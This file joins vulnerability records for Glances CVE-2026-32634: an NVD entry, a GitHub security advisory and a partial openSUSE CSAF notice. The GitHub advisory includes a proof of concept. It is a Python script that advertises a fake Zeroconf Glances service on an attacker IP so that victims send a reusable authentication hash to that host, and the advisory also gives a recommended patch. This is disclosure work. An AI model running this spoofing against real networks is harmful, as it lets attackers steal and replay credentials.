{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nicolargo:glances:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "3FC19E01-80F1-43BB-912C-39FE99143A59",
              "versionEndExcluding": "4.5.2",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.2, in Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential. An attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode. Version 4.5.2 fixes the issue."
    },
    {
      "lang": "es",
      "value": "Glances es una herramienta de monitoreo de sistema de c\u00f3digo abierto multiplataforma. Antes de la versi\u00f3n 4.5.2, en modo Navegador Central, Glances almacena tanto el nombre del servidor anunciado por Zeroconf como la direcci\u00f3n IP descubierta para servidores din\u00e1micos, pero luego construye URIs de conexi\u00f3n a partir del nombre anunciado no confiable en lugar de la IP descubierta. Cuando un servidor din\u00e1mico se reporta como protegido, Glances tambi\u00e9n usa ese mismo nombre no confiable como clave de b\u00fasqueda para contrase\u00f1as guardadas y la credencial global \u0027[passwords] default\u0027. Un atacante en la misma red local puede anunciar un servicio Glances falso a trav\u00e9s de Zeroconf y hacer que el navegador env\u00ede autom\u00e1ticamente un secreto de autenticaci\u00f3n de Glances reutilizable a un host controlado por el atacante. Esto afecta la ruta de sondeo en segundo plano y la ruta de clic de REST/WebUI en modo Navegador Central. La versi\u00f3n 4.5.2 corrige el problema."
    }
  ],
  "id": "CVE-2026-32634",
  "lastModified": "2026-03-19T19:03:47.010",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 8.1,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-18T18:16:29.097",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-346"
        },
        {
          "lang": "en",
          "value": "CWE-522"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Glances"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32634"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-346",
      "CWE-522"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T16:36:06Z",
    "nvd_published_at": "2026-03-18T18:16:29Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nIn Central Browser mode, Glances stores both the Zeroconf-advertised server name and the discovered IP address for dynamic servers, but later builds connection URIs from the untrusted advertised name instead of the discovered IP. When a dynamic server reports itself as protected, Glances also uses that same untrusted name as the lookup key for saved passwords and the global `[passwords] default` credential.\n\nAn attacker on the same local network can advertise a fake Glances service over Zeroconf and cause the browser to automatically send a reusable Glances authentication secret to an attacker-controlled host. This affects the background polling path and the REST/WebUI click-through path in Central Browser mode.\n\n## Details\n\nDynamic server discovery keeps both a short `name` and a separate `ip`:\n\n```python\n# glances/servers_list_dynamic.py:56-61\ndef add_server(self, name, ip, port, protocol=\u0027rpc\u0027):\n    new_server = {\n        \u0027key\u0027: name,\n        \u0027name\u0027: name.split(\u0027:\u0027)[0],  # Short name\n        \u0027ip\u0027: ip,  # IP address seen by the client\n        \u0027port\u0027: port,\n        ...\n        \u0027type\u0027: \u0027DYNAMIC\u0027,\n    }\n```\n\nThe Zeroconf listener populates those fields directly from the service advertisement:\n\n```python\n# glances/servers_list_dynamic.py:112-121\nnew_server_ip = socket.inet_ntoa(address)\nnew_server_port = info.port\n...\nself.servers.add_server(\n    srv_name,\n    new_server_ip,\n    new_server_port,\n    protocol=new_server_protocol,\n)\n```\n\nHowever, the Central Browser connection logic ignores `server[\u0027ip\u0027]` and instead uses the untrusted advertised `server[\u0027name\u0027]` for both password lookup and the destination URI:\n\n```python\n# glances/servers_list.py:119-130\ndef get_uri(self, server):\n    if server[\u0027password\u0027] != \"\":\n        if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n            clear_password = self.password.get_password(server[\u0027name\u0027])\n            if clear_password is not None:\n                server[\u0027password\u0027] = self.password.get_hash(clear_password)\n        uri = \u0027http://{}:{}@{}:{}\u0027.format(\n            server[\u0027username\u0027],\n            server[\u0027password\u0027],\n            server[\u0027name\u0027],\n            server[\u0027port\u0027],\n        )\n    else:\n        uri = \u0027http://{}:{}\u0027.format(server[\u0027name\u0027], server[\u0027port\u0027])\n    return uri\n```\n\nThat URI is used automatically by the background polling thread:\n\n```python\n# glances/servers_list.py:141-143\ndef __update_stats(self, server):\n    server[\u0027uri\u0027] = self.get_uri(server)\n```\n\nThe password lookup itself falls back to the global default password when there is no exact match:\n\n```python\n# glances/password_list.py:45-58\ndef get_password(self, host=None):\n    ...\n    try:\n        return self._password_dict[host]\n    except (KeyError, TypeError):\n        try:\n            return self._password_dict[\u0027default\u0027]\n        except (KeyError, TypeError):\n            return None\n```\n\nThe sample configuration explicitly supports that `default` credential reuse:\n\n```ini\n# conf/glances.conf:656-663\n[passwords]\n# Define the passwords list related to the [serverlist] section\n# ...\n#default=defaultpassword\n```\n\nThe secret sent over the network is not the cleartext password, but it is still a reusable Glances authentication credential. The client hashes the configured password and sends that hash over HTTP Basic authentication:\n\n```python\n# glances/password.py:72-74,94\n# For Glances client, get the password (confirm=False, clear=True):\n#     2) the password is hashed with SHA-pbkdf2_hmac (only SHA string transit\npassword = password_hash\n```\n\n```python\n# glances/client.py:55-57\nif args.password != \"\":\n    self.uri = f\u0027http://{args.username}:{args.password}@{args.client}:{args.port}\u0027\n```\n\nThere is an inconsistent trust boundary in the interactive browser code as well:\n\n- `glances/client_browser.py:44` opens the REST/WebUI target via `webbrowser.open(self.servers_list.get_uri(server))`, which again trusts `server[\u0027name\u0027]`\n- `glances/client_browser.py:55` fetches saved passwords with `self.servers_list.password.get_password(server[\u0027name\u0027])`\n- `glances/client_browser.py:76` uses `server[\u0027ip\u0027]` for the RPC client connection\n\nThat asymmetry shows the intended safe destination (`ip`) is already available, but the credential-bearing URI and password binding still use the attacker-controlled Zeroconf name.\n\n### Exploit Flow\n\n1. The victim runs Glances in Central Browser mode with autodiscovery enabled and has a saved Glances password in `[passwords]` (especially `default=...`).\n2. An attacker on the same multicast domain advertises a fake `_glances._tcp.local.` service with an attacker-controlled service name.\n3. Glances stores the discovered server as `{\u0027name\u0027: \u003cadvertised-name\u003e, \u0027ip\u0027: \u003cdiscovered-ip\u003e, ...}`.\n4. The background stats refresh calls `get_uri(server)`.\n5. Once the fake server causes the entry to become `PROTECTED`, `get_uri()` looks up a saved password by the attacker-controlled `name`, falls back to `default` if present, hashes it, and builds `http://username:hash@\u003cadvertised-name\u003e:\u003cport\u003e`.\n6. The attacker receives a reusable Glances authentication secret and can replay it against Glances servers using the same credential.\n\n## PoC\n\n### Step 1: Verified local logic proof\n\nThe following command executes the real `glances/servers_list.py` `get_uri()` implementation (with unrelated imports stubbed out) and demonstrates that:\n\n- password lookup happens against `server[\u0027name\u0027]`, not `server[\u0027ip\u0027]`\n- the generated credential-bearing URI uses `server[\u0027name\u0027]`, not `server[\u0027ip\u0027]`\n\n```bash\ncd D:\\bugcrowd\\glances\\repo\n@\u0027\nimport importlib.util\nimport sys\nimport types\nfrom pathlib import Path\n\npkg = types.ModuleType(\u0027glances\u0027)\npkg.__apiversion__ = \u00274\u0027\nsys.modules[\u0027glances\u0027] = pkg\n\nclient_mod = types.ModuleType(\u0027glances.client\u0027)\nclass GlancesClientTransport: pass\nclient_mod.GlancesClientTransport = GlancesClientTransport\nsys.modules[\u0027glances.client\u0027] = client_mod\n\nglobals_mod = types.ModuleType(\u0027glances.globals\u0027)\nglobals_mod.json_loads = lambda x: x\nsys.modules[\u0027glances.globals\u0027] = globals_mod\n\nlogger_mod = types.ModuleType(\u0027glances.logger\u0027)\nlogger_mod.logger = types.SimpleNamespace(\n    debug=lambda *a, **k: None,\n    warning=lambda *a, **k: None,\n    info=lambda *a, **k: None,\n    error=lambda *a, **k: None,\n)\nsys.modules[\u0027glances.logger\u0027] = logger_mod\n\npassword_list_mod = types.ModuleType(\u0027glances.password_list\u0027)\nclass GlancesPasswordList: pass\npassword_list_mod.GlancesPasswordList = GlancesPasswordList\nsys.modules[\u0027glances.password_list\u0027] = password_list_mod\n\ndynamic_mod = types.ModuleType(\u0027glances.servers_list_dynamic\u0027)\nclass GlancesAutoDiscoverServer: pass\ndynamic_mod.GlancesAutoDiscoverServer = GlancesAutoDiscoverServer\nsys.modules[\u0027glances.servers_list_dynamic\u0027] = dynamic_mod\n\nstatic_mod = types.ModuleType(\u0027glances.servers_list_static\u0027)\nclass GlancesStaticServer: pass\nstatic_mod.GlancesStaticServer = GlancesStaticServer\nsys.modules[\u0027glances.servers_list_static\u0027] = static_mod\n\nspec = importlib.util.spec_from_file_location(\u0027tested_servers_list\u0027, Path(\u0027glances/servers_list.py\u0027))\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod)\nGlancesServersList = mod.GlancesServersList\n\nclass FakePassword:\n    def get_password(self, host=None):\n        print(f\u0027lookup:{host}\u0027)\n        return \u0027defaultpassword\u0027\n    def get_hash(self, password):\n        return f\u0027hash({password})\u0027\n\nsl = GlancesServersList.__new__(GlancesServersList)\nsl.password = FakePassword()\nserver = {\n    \u0027name\u0027: \u0027trusted-host\u0027,\n    \u0027ip\u0027: \u0027203.0.113.77\u0027,\n    \u0027port\u0027: 61209,\n    \u0027username\u0027: \u0027glances\u0027,\n    \u0027password\u0027: None,\n    \u0027status\u0027: \u0027PROTECTED\u0027,\n    \u0027type\u0027: \u0027DYNAMIC\u0027,\n}\n\nprint(sl.get_uri(server))\nprint(server)\n\u0027@ | python -\n```\n\nVerified output:\n\n```text\nlookup:trusted-host\nhttp://glances:hash(defaultpassword)@trusted-host:61209\n{\u0027name\u0027: \u0027trusted-host\u0027, \u0027ip\u0027: \u0027203.0.113.77\u0027, \u0027port\u0027: 61209, \u0027username\u0027: \u0027glances\u0027, \u0027password\u0027: \u0027hash(defaultpassword)\u0027, \u0027status\u0027: \u0027PROTECTED\u0027, \u0027type\u0027: \u0027DYNAMIC\u0027}\n```\n\nThis confirms the code path binds credentials to the advertised `name` and ignores the discovered `ip`.\n\n### Step 2: Live network reproduction\n\n1. Configure a reusable browser password:\n\n```ini\n# glances.conf\n[passwords]\ndefault=SuperSecretBrowserPassword\n```\n\n2. Start Glances in Central Browser mode on the victim machine:\n\n```bash\nglances --browser -C ./glances.conf\n```\n\n3. On an attacker-controlled machine on the same LAN, advertise a fake Glances Zeroconf service and return HTTP 401 / XML-RPC auth failures so the entry becomes `PROTECTED`:\n\n```python\nfrom zeroconf import ServiceInfo, Zeroconf\nimport socket\nimport time\n\nzc = Zeroconf()\ninfo = ServiceInfo(\n    \"_glances._tcp.local.\",\n    \"198.51.100.50:61209._glances._tcp.local.\",\n    addresses=[socket.inet_aton(\"198.51.100.50\")],\n    port=61209,\n    properties={b\"protocol\": b\"rpc\"},\n    server=\"ignored.local.\",\n)\nzc.register_service(info)\ntime.sleep(600)\n```\n\n4. On the next Central Browser refresh, Glances first probes the fake server, marks it `PROTECTED`, then retries with:\n\n```text\nhttp://glances:\u003cpbkdf2_hash_of_default_password\u003e@198.51.100.50:61209\n```\n\n5. The attacker captures the Basic-auth credential and can replay that value as the Glances password hash against Glances servers that share the same configured password.\n\n## Impact\n\n- **Credential exfiltration from browser operators:** An adjacent-network attacker can harvest the reusable Glances authentication secret from operators running Central Browser mode with saved passwords.\n- **Authentication replay:** The captured pbkdf2-derived Glances password hash can be replayed against Glances servers that use the same credential.\n- **REST/WebUI click-through abuse:** For REST servers, `webbrowser.open(self.servers_list.get_uri(server))` can open attacker-controlled URLs with embedded credentials.\n- **No user click required for background theft:** The stats refresh thread uses the vulnerable path automatically once the fake service is marked `PROTECTED`.\n- **Affected scope:** This is limited to Central Browser deployments with autodiscovery enabled and saved/default passwords configured. Static server entries and standalone non-browser use are not directly affected by this specific issue.\n\n## Recommended Fix\n\nUse the discovered `ip` as the only network destination for autodiscovered servers, and do not automatically apply saved or default passwords to dynamic entries.\n\n```python\n# glances/servers_list.py\n\ndef _get_connect_host(self, server):\n    if server.get(\u0027type\u0027) == \u0027DYNAMIC\u0027:\n        return server[\u0027ip\u0027]\n    return server[\u0027name\u0027]\n\ndef _get_preconfigured_password(self, server):\n    # Dynamic Zeroconf entries are untrusted and should not inherit saved/default creds\n    if server.get(\u0027type\u0027) == \u0027DYNAMIC\u0027:\n        return None\n    return self.password.get_password(server[\u0027name\u0027])\n\ndef get_uri(self, server):\n    host = self._get_connect_host(server)\n    if server[\u0027password\u0027] != \"\":\n        if server[\u0027status\u0027] == \u0027PROTECTED\u0027:\n            clear_password = self._get_preconfigured_password(server)\n            if clear_password is not None:\n                server[\u0027password\u0027] = self.password.get_hash(clear_password)\n        return \u0027http://{}:{}@{}:{}\u0027.format(server[\u0027username\u0027], server[\u0027password\u0027], host, server[\u0027port\u0027])\n    return \u0027http://{}:{}\u0027.format(host, server[\u0027port\u0027])\n```\n\nAnd use the same `_get_preconfigured_password()` logic in `glances/client_browser.py` instead of calling `self.servers_list.password.get_password(server[\u0027name\u0027])` directly.",
  "id": "GHSA-vx5f-957p-qpvm",
  "modified": "2026-03-18T21:48:54Z",
  "published": "2026-03-16T16:36:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vx5f-957p-qpvm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32634"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/commit/61d38eec521703e41e4933d18d5a5ef6f854abd5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nicolargo/glances"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Glances Central Browser Autodiscovery Leaks Reusable Credentials to Zeroconf-Spoofed Servers"
}

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://www.suse.com/support/security/rating/",
      "text": "moderate"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright 2024 SUSE LLC. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "glances-common-4.5.2-1.1 on GA media",
        "title": "Title of the patch"
      },
      {
        "category": "description",
        "text": "These are all security issues fixed in the glances-common-4.5.2-1.1 package on the GA media of openSUSE Tumbleweed.",
        "title": "Description of the patch"
      },
      {
        "category": "details",
        "text": "openSUSE-Tumbleweed-2026-10415",
        "title": "Patchnames"
      },
      {
        "category": "legal_disclaimer",
        "text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
        "title": "Terms of use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://www.suse.com/support/security/contact/",
      "name": "SUSE Product Security Team",
      "namespace": "https://www.suse.com/"
    },
    "references": [
      {
        "category": "external",
        "summary": "SUSE ratings",
        "url": "https://www.suse.com/support/security/rating/"
      },
      {
        "category": "self",
        "summary": "URL of this CSAF notice",
        "url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10415-1.json"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-32596 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-32596/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-32608 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-32608/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-32609 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-32609/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-32610 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-32610/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-32611 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-32611/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-32632 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-32632/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-32633 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-32633/"
      },
      {
        "category": "self",
        "summary": "SUSE CVE CVE-2026-32634 page",
        "url": "https://www.suse.com/security/cve/CVE-2026-32634/"
      }
    ],
    "title": "glances-common-4.5.2-1.1 on GA media",
    "tracking": {
      "current_release_date": "2026-03-24T00:00:00Z",
      "generator": {
        "date": "2026-03-24T00:00:00Z",
        "engine": {
          "name": "cve-database.git:bin/generate-csaf.pl",
          "version": "1"
        }
      },
      "id": "openSUSE-SU-2026:10415-1",
      "initial_release_date": "2026-03-24T00:00:00Z",
      "revision_history": [
        {
          "date": "2026-03-24T00:00:00Z",
          "number": "1",
          "summary": "Current version"
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "glances-common-4.5.2-1.1.aarch64",
                "product": {
                  "name": "glances-common-4.5.2-1.1.aarch64",
                  "product_id": "glances-common-4.5.2-1.1.aarch64"
                }
              },
              {
                "category": "product_version",
                "name": "python311-Glances-4.5.2-1.1.aarch64",
                "product": {
                  "name": "python311-Glances-4.5.2-1.1.aarch64",
                  "product_id": "python311-Glances-4.5.2-1.1.aarch64"
                }
              },
              {
                "category": "product_version",
                "name": "python313-Glances-4.5.2-1.1.aarch64",
                "product": {
                  "name": "python313-Glances-4.5.2-1.1.aarch64",
                  "product_id": "python313-Glances-4.5.2-1.1.aarch64"
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "glances-common-4.5.2-1.1.ppc64le",
                "product": {
                  "name": "glances-common-4.5.2-1.1.ppc64le",
                  "product_id": "glances-common-4.5.2-1.1.ppc64le"
                }
              },
              {
                "category": "product_version",
                "name": "python311-Glances-4.5.2-1.1.ppc64le",
                "product": {
                  "name": "python311-Glances-4.5.2-1.1.ppc64le",
                  "product_id": "python311-Glances-4.5.2-1.1.ppc64le"
                }
              },
              {
                "category": "product_version",
                "name": "python313-Glances-4.5.2-1.1.ppc64le",
                "product": {
                  "name": "python313-Glances-4.5.2-1.1.ppc64le",
                  "product_id": "python313-Glances-4.5.2-1.1.ppc64le"
                }
              }
            ],
            "category": "architecture",
            "name": "ppc64le"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "glances-common-4.5.2-1.1.s390x",
                "product": {
                  "name": "glances-common-4.5.2-1.1.s390x",
                  "product_id": "glances-common-4.5.2-1.1.s390x"
                }
              },
              {
                "category": "product_version",
                "name": "python311-Glances-4.5.2-1.1.s390x",
                "product": {
                  "name": "python311-Glances-4.5.2-1.1.s390x",
                  "product_id": "python311-Glances-4.5.2-1.1.s390x"
                }
              },
              {
                "category": "product_version",
                "name": "python313-Glances-4.5.2-1.1.s390x",
                "product": {
                  "name": "python313-Glances-4.5.2-1.1.s390x",
                  "product_id": "python313-Glances-4.5.2-1.1.s390x"
                }
              }
            ],
            "category": "architecture",
            "name": "s390x"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "glances-common-4.5.2-1.1.x86_64",
                "product": {
                  "name": "glances-common-4.5.2-1.1.x86_64",
                  "product_id": "glances-common-4.5.2-1.1.x86_64"
                }
              },
              {
                "category": "product_version",
                "name": "python311-Glances-4.5.2-1.1.x86_64",
                "product": {
                  "name": "python311-Glances-4.5.2-1.1.x86_64",
                  "product_id": "python311-Glances-4.5.2-1.1.x86_64"
                }
              },
              {
                "category": "product_version",
                "name": "python313-Glances-4.5.2-1.1.x86_64",
                "product": {
                  "name": "python313-Glances-4.5.2-1.1.x86_64",
                  "product_id": "python313-Glances-4.5.2-1.1.x86_64"
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          },
          {
            "branches": [
              {
                "category": "product_name",
                "name": "openSUSE Tumbleweed",
                "product": {
                  "name": "openSUSE Tumbleweed",
                  "product_id": "openSUSE Tumbleweed",
                  "product_identification_helper": {
                    "cpe": "cpe:/o:opensuse:tumbleweed"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "SUSE Linux Enterprise"
          }
        ],
        "category": "vendor",
        "name": "SUSE"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "glances-common-4.5.2-1.1.aarch64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64"
        },
        "product_reference": "glances-common-4.5.2-1.1.aarch64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "glances-common-4.5.2-1.1.ppc64le as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le"
        },
        "product_reference": "glances-common-4.5.2-1.1.ppc64le",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "glances-common-4.5.2-1.1.s390x as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x"
        },
        "product_reference": "glances-common-4.5.2-1.1.s390x",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "glances-common-4.5.2-1.1.x86_64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64"
        },
        "product_reference": "glances-common-4.5.2-1.1.x86_64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python311-Glances-4.5.2-1.1.aarch64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64"
        },
        "product_reference": "python311-Glances-4.5.2-1.1.aarch64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python311-Glances-4.5.2-1.1.ppc64le as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le"
        },
        "product_reference": "python311-Glances-4.5.2-1.1.ppc64le",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python311-Glances-4.5.2-1.1.s390x as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x"
        },
        "product_reference": "python311-Glances-4.5.2-1.1.s390x",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python311-Glances-4.5.2-1.1.x86_64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64"
        },
        "product_reference": "python311-Glances-4.5.2-1.1.x86_64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python313-Glances-4.5.2-1.1.aarch64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64"
        },
        "product_reference": "python313-Glances-4.5.2-1.1.aarch64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python313-Glances-4.5.2-1.1.ppc64le as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le"
        },
        "product_reference": "python313-Glances-4.5.2-1.1.ppc64le",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python313-Glances-4.5.2-1.1.s390x as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x"
        },
        "product_reference": "python313-Glances-4.5.2-1.1.s390x",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "python313-Glances-4.5.2-1.1.x86_64 as component of openSUSE Tumbleweed",
          "product_id": "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
        },
        "product_reference": "python313-Glances-4.5.2-1.1.x86_64",
        "relates_to_product_reference": "openSUSE Tumbleweed"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-32596",
      "ids": [
        {
          "system_name": "SUSE CVE Page",
          "text": "https://www.suse.com/security/cve/CVE-2026-32596"
        }
      ],
      "notes": [
        {
          "category": "general",
          "text": "Glances is an open-source system cross-platform monitoring tool. Prior to 4.5.2, Glances web server runs without authentication by default when started with `glances -w`, exposing REST API with sensitive system information including process command-lines containing credentials (passwords, API keys, tokens) to any network client. Version 4.5.2 fixes the issue.",
          "title": "CVE description"
        }
      ],
      "product_status": {
        "recommended": [
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
          "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
        ]
      },
      "references": [
        {
          "category": "external",
          "summary": "CVE-2026-32596",
          "url": "https://www.suse.com/security/cve/CVE-2026-32596"
        },
        {
          "category": "external",
          "summary": "SUSE Bug 1260321 for CVE-2026-32596",
          "url": "https://bugzilla.suse.com/1260321"
        }
      ],
      "remediations": [
        {
          "category": "vendor_fix",
          "details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
          "product_ids": [
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:glances-common-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python311-Glances-4.5.2-1.1.x86_64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.aarch64",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.ppc64le",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.s390x",
            "openSUSE Tumbleweed:python313-Glances-4.5.2-1.1.x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          },
          "products": [
